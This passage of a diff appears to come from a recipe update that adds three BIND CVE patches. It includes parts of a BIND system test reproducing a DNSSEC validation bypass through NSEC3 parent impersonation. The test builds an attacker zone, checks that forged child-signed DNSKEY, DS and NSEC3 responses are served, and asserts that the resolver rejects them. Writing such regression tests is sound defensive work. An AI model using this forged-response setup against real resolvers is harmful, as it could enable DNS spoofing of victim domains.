++    pytest.mark.extra_artifacts(
++        [
++            "ans*/ans.run",
++            "ans*/keys.json",
++        ]
++    ),
++]
+ 
+ 
+ def _make_key(zone):
+@@ -65,13 +69,13 @@ def bootstrap():
+     zones = ["tld.test.", ATTACKER]
+     keys = {zone: _make_key(zone) for zone in zones}
+ 
+-    Path("keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii")
++    Path("ans1/keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii")
+ 
+     tld_dnskey = "".join(keys["tld.test."]["dnskey"].split()[3:])
+     return {"TLD_DNSKEY": tld_dnskey}
+ 
+ 
+-def _check_direct_dnskey_response(zone):
++def check_dnskey_response(zone):
+     query = isctest.query.create(zone, "DNSKEY")
+     response = isctest.query.tcp(query, AUTH)
+ 
+@@ -88,7 +92,7 @@ def _check_direct_dnskey_response(zone):
+     ), response
+ 
+ 
+-def _check_direct_ds_response(zone):
++def check_ds_response(zone):
+     query = isctest.query.create(zone, "DS")
+     response = isctest.query.tcp(query, AUTH)
+ 
+@@ -105,10 +109,10 @@ def _check_direct_ds_response(zone):
+     ), response
+ 
+ 
+-def test_repro_5874_direct_forged_nsec3_response_has_child_signer():
+-    _check_direct_dnskey_response("tld.test.")
+-    _check_direct_dnskey_response(ATTACKER)
+-    _check_direct_ds_response(ATTACKER)
++def test_attack_responses():
++    check_dnskey_response("tld.test.")
++    check_dnskey_response(ATTACKER)
++    check_ds_response(ATTACKER)
+ 
+     query = isctest.query.create(VICTIM, "A")
+     response = isctest.query.tcp(query, AUTH)
+@@ -136,9 +140,13 @@ def test_repro_5874_direct_forged_nsec3_response_has_child_signer():
+     assert rrsig[0].signer == dns.name.from_text(ATTACKER)
+ 
+ 
+-def test_repro_5874_resolver_rejects_child_signed_nsec3_parent_proof():
++def test_nsec3_impersonation():
++    """
++    Reproducer for #5874:
++    F-006 DNSSEC Validation Bypass NSEC3 Apex Hash Label Parent Impersonation
++    """
+     query = isctest.query.create(VICTIM, "A")
+     response = isctest.query.tcp(query, RESOLVER)
+ 
+-    isctest.check.servfail(response)
+     isctest.check.noadflag(response)
++    isctest.check.servfail(response)
+diff --git a/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py b/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
+deleted file mode 100644
+index 614f26a..0000000
+--- a/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
++++ /dev/null
+@@ -1,18 +0,0 @@
+-#!/usr/bin/python3
+-
+-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+-#
+-# SPDX-License-Identifier: MPL-2.0
+-#
+-# This Source Code Form is subject to the terms of the Mozilla Public
+-# License, v. 2.0.  If a copy of the MPL was not distributed with this
+-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+-#
+-# See the COPYRIGHT file distributed with this work for additional
+-# information regarding copyright ownership.
+-
+-from server import main
+-
+-
+-if __name__ == "__main__":
+-    main()
diff --git a/meta/recipes-connectivity/bind/bind_9.18.49.bb b/meta/recipes-connectivity/bind/bind_9.18.49.bb
index 723a09e739..161736f9b1 100644
--- a/meta/recipes-connectivity/bind/bind_9.18.49.bb
+++ b/meta/recipes-connectivity/bind/bind_9.18.49.bb
@@ -18,6 +18,9 @@  SRC_URI = "https://ftp.isc.org/isc/bind9/${PV}/${BPN}-${PV}.tar.xz \
            file://bind-ensure-searching-for-json-headers-searches-sysr.patch \
            file://0001-named-lwresd-V-and-start-log-hide-build-options.patch \
            file://0001-avoid-start-failure-with-bind-user.patch \
+           file://CVE-2026-10723-01.patch \
+           file://CVE-2026-10723-02.patch \
+           file://CVE-2026-10723-03.patch \
            "
 
 SRC_URI[sha256sum] = "c43ce4548ebed788cd9df63658a7de105ceafba43fcd63fa352b1093e525cd24"